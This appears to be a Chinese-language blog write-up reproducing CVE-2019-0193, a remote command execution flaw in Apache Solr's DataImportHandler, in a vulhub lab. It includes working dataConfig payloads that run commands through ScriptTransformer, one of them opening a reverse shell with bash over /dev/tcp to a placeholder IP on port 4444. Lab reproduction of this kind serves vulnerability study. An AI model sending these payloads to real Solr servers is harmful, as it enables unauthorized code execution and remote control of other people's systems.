zoukankan      html  css  js  c++  java
  • solr远程命令执行-CVE-2019-0193

    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的dataConfig参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

    影响范围

    • Apache Solr < 8.2.0

    环境搭建

    使用 vulnhub 搭建

    docker-compose up -d
    # 创建 test core
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    

    打开 8983 端口即可看到 Apache solr 的管理界面

    testcore.jpg

    前置知识

    先了解下/solr/{core}/dataimport,该API的作用是将数据全量/增量导入到solr中,更详细解释在:

    其中ScriptTransformer可以编写自定义脚本,支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell;整个漏洞就是因为可以通过<script>标签指定ScriptTransformer,而在这个标签内可以导入任意的java类,Solr也并没有对标签内容做限制,导致可以执行任意代码。

    ScriptTransformer 容许用脚本语言如 Javascript、JRuby、Jython、Groovy 和 BeanShell 转换,函数应当以行(类型为Map<String,Object>)为参数,可以修改字段。脚本应当写在数据仓库配置文件顶级的 script 元素内,而转换器属性值为script:函数名。

    利用条件

    • Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler (默认情况下该模块不会被启用)
    • Solr Admin UI 未开启鉴权认证。(默认情况下打开 web 界面无需任何认证)

    漏洞复现

    1. 进入我们创建的 core 界面,选择 Dataimport 并且打开 Debug-Mode 模块

    debug.jpg

    1. 创建文件 payload
      创建文件
    <dataConfig>
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
              function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
              }
      ]]></script>
      <document>
        <entity name="stackoverflow"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:poc" />
      </document>
    </dataConfig>
    
    1. 反弹 shell payload
      反弹 shell,在网上流传着硬编码后的 payload ,我测试了是没法反弹 shell 的,可能是因为版本差异吧。
    <dataConfig>
    <dataSource type="URLDataSource"/>
      <script><![CDATA[ 
          java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1");
      ]]></script>
      <document>
        <entity name="a"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:" />
      </document>
    </dataConfig>
    

    rev_shell.jpg

    参考:
    https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
    https://anemone.top/vulnresearch-Solr_DataImportHandler_RCE/
    https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
    https://mp.weixin.qq.com/s/diF7HOf3wuSjBeoIb7qLCA

  • 相关阅读:
    vue父子组件传值的方式
    定时任务写法
    仅仅为笔记
    consul剔除某个服务
    mybatis批量查询
    一次eureka的事故
    feign的工作原理
    JVM优化
    threadlocal应用
    秋招总结
  • 原文地址:https://www.cnblogs.com/w0x68y/p/14252384.html
Copyright © 2011-2022 走看看